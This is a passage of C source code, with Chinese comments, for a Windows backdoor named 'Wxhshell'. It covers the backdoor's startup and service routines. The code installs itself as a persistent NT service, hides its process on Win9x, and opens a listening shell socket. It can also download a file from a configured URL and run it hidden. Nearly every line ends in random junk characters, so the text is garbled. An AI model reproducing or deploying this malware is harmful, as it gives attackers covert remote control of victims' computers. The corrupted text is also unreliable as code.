DWORD AffinityMask; adWH';Q:
DWORD BasePriority; Yq>K1E|
ULONG UniqueProcessId; 6&;h+;h
ULONG InheritedFromUniqueProcessId; q&2L@l3A
} PROCESS_BASIC_INFORMATION; <8ih >s(C
sLd%m+*p
PROCNTQSIP NtQueryInformationProcess; AD~_n^
0[f[6mm%m
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4YgO1}%G
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wv
S.; ahce
HANDLE hProcess; 2 b80b50
PROCESS_BASIC_INFORMATION pbi; @:}l a
H5(:1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OVE?;x>n/1
if(NULL == hInst ) return 0; 8\G"I
U,lO{J[T
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [<sN "
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \wR\i^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bc;?O`I<
o*3\xg
if (!NtQueryInformationProcess) return 0; E)|Bl>
fOdX2{7m
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7d/I"?=|rA
if(!hProcess) return 0; BY':R-~(
pLM?m
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _YN
C}PUU
q3`~uTzk
CloseHandle(hProcess); Z*IW*f&0>1
a`zHx3Yg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O)"Z% B
if(hProcess==NULL) return 0; lYey7tl{
DPCQqV |7
HMODULE hMod; mC3:P5/c
char procName[255]; R,fAl"wMu
unsigned long cbNeeded; `XM0Mm%
AW'$5NF>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gzwb<e
y
.*Bd'\:F/q
CloseHandle(hProcess); ~%h&ELSw
J ~KygQ3%
if(strstr(procName,"services")) return 1; // 以服务启动 wh!8\9{g
ZZ/k7(8
return 0; // 注册表启动 Y~w1_>b
} :
@$5M
$LG.rJ/*
// 主模块 ENI|e,'[
int StartWxhshell(LPSTR lpCmdLine) |XMWi/p
{ ,!X:wY}dW
SOCKET wsl; ["e;8H[K)%
BOOL val=TRUE; umt`0m. :
int port=0; ,(]k)ym/
struct sockaddr_in door; .KtK<Ps[S
TmK8z
if(wscfg.ws_autoins) Install(); ?A04qk
qE8Di\?
port=atoi(lpCmdLine); $ab{GxmX'4
SjIDzNI5
if(port<=0) port=wscfg.ws_port; z2Z}mktP
.EvP%A
m
WSADATA data; B1]FB|0's
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =1xVw5^F
Cq3Au%7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f0YBy<a
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7K+eI!m.s
door.sin_family = AF_INET; m>?|*a,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); N`qGwNT%G
door.sin_port = htons(port); 16Jjf|]j
FC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N34bB>_
closesocket(wsl); {bG. X?b
return 1; L">m2/ HG
} c._!dqR
j,Qb'|f5
if(listen(wsl,2) == INVALID_SOCKET) { d,Oe3?][0p
closesocket(wsl); ~M1T
@Mv
return 1; HGi%b5:<=M
} AS0mMHJk
Wxhshell(wsl); rB|4
WSACleanup(); jo<Gf 5
6/vMK<Fz9
return 0; !& >LLZ
'Mhnu2d
} /||8j.Tm
= )4bf"~8
// 以NT服务方式启动 8#9OSupp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cv/3-&5S
{ Ns#L9T#
DWORD status = 0; !3o/c w9
DWORD specificError = 0xfffffff; C4t~k
EW3--33s
serviceStatus.dwServiceType = SERVICE_WIN32; /Xv@g$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; y)TBg8Q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j 20mZ
serviceStatus.dwWin32ExitCode = 0; )q/brCq
serviceStatus.dwServiceSpecificExitCode = 0; xK4E+^ b
serviceStatus.dwCheckPoint = 0; |CK/-UG}
serviceStatus.dwWaitHint = 0; k^K%."INn
uKB V`I
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :qV|rih_Q
if (hServiceStatusHandle==0) return; >SS^qjh/
A0Q1"b=
status = GetLastError(); J7~Kjl
if (status!=NO_ERROR) =$ubSfx
{ NxB/U_j
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;=@?( n
serviceStatus.dwCheckPoint = 0; ?%/*F<UVQ
serviceStatus.dwWaitHint = 0; zy~*~;6tW
serviceStatus.dwWin32ExitCode = status; ^K
9jJS9K
serviceStatus.dwServiceSpecificExitCode = specificError; iR8;^C.aT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5d}bl{
return; ,4}s 1J#
} p%/lP{
IxY!.d_s|~
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7t78=wpLc
serviceStatus.dwCheckPoint = 0; ! \5)!B
serviceStatus.dwWaitHint = 0; 'b+
Tio
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `8TL*.9
} E~8J<gE
z5sKV7&\[n
// 处理NT服务事件,比如:启动、停止 -qLNs_
_k
VOID WINAPI NTServiceHandler(DWORD fdwControl) %6Y}0>gY
{ Ie8SPNY-H
switch(fdwControl) q~X}&}UT
{ G {a;s-OA3
case SERVICE_CONTROL_STOP: ZB5NTNf>
serviceStatus.dwWin32ExitCode = 0; u!b0<E
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3ZvQUH/{W
serviceStatus.dwCheckPoint = 0; w"A>mEex<
serviceStatus.dwWaitHint = 0; "c![s%
{ 9Z3Vf[n5\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eO{2rV45O
} WckWX]};S
return; pwF])uf*{\
case SERVICE_CONTROL_PAUSE: zCu+Oi6
serviceStatus.dwCurrentState = SERVICE_PAUSED; eEeK ]8@
break; gV'=uz v
case SERVICE_CONTROL_CONTINUE: 7'@~TM
serviceStatus.dwCurrentState = SERVICE_RUNNING; %*Yb
J_j7
break; tcI Z
2H%
case SERVICE_CONTROL_INTERROGATE: t~Ic{%bdA
break; ZKi?;ta=
}; Yof]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); AZ-JaE
} -or)NE
'47E8PIJ|
// 标准应用程序主函数 ffaMF~+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j'UWgwB
{ V~t;
J
c{jTCkzq
// 获取操作系统版本 t /lU*
OsIsNt=GetOsVer(); pz.fZV
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5)gC<
AO8%!+"_
// 从命令行安装 2}5@:cwR+
if(strpbrk(lpCmdLine,"iI")) Install(); nNRc@9Lt
2V$YZSw6q
// 下载执行文件 |lVi* 4za%
if(wscfg.ws_downexe) { vnX~OVz2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8=mx5Gwz-
WinExec(wscfg.ws_filenam,SW_HIDE); Nm3CeU
} \r&(l1R
cn'rBY
if(!OsIsNt) { ^YEMR C
// 如果时win9x,隐藏进程并且设置为注册表启动 6{ pg^K
HideProc(); [kI[qByf
StartWxhshell(lpCmdLine); dAjm4F-
} :/;;|lGw
else Ul|htB<1:
if(StartFromService()) -V||1@
|
// 以服务方式启动 M7neOQHq
StartServiceCtrlDispatcher(DispatchTable); kO,vHg$
else 59(} D'lw>
// 普通方式启动 AHLXmQl
StartWxhshell(lpCmdLine);
L$ [1+*
f5.Be%
return 0; Vv>hr+e
}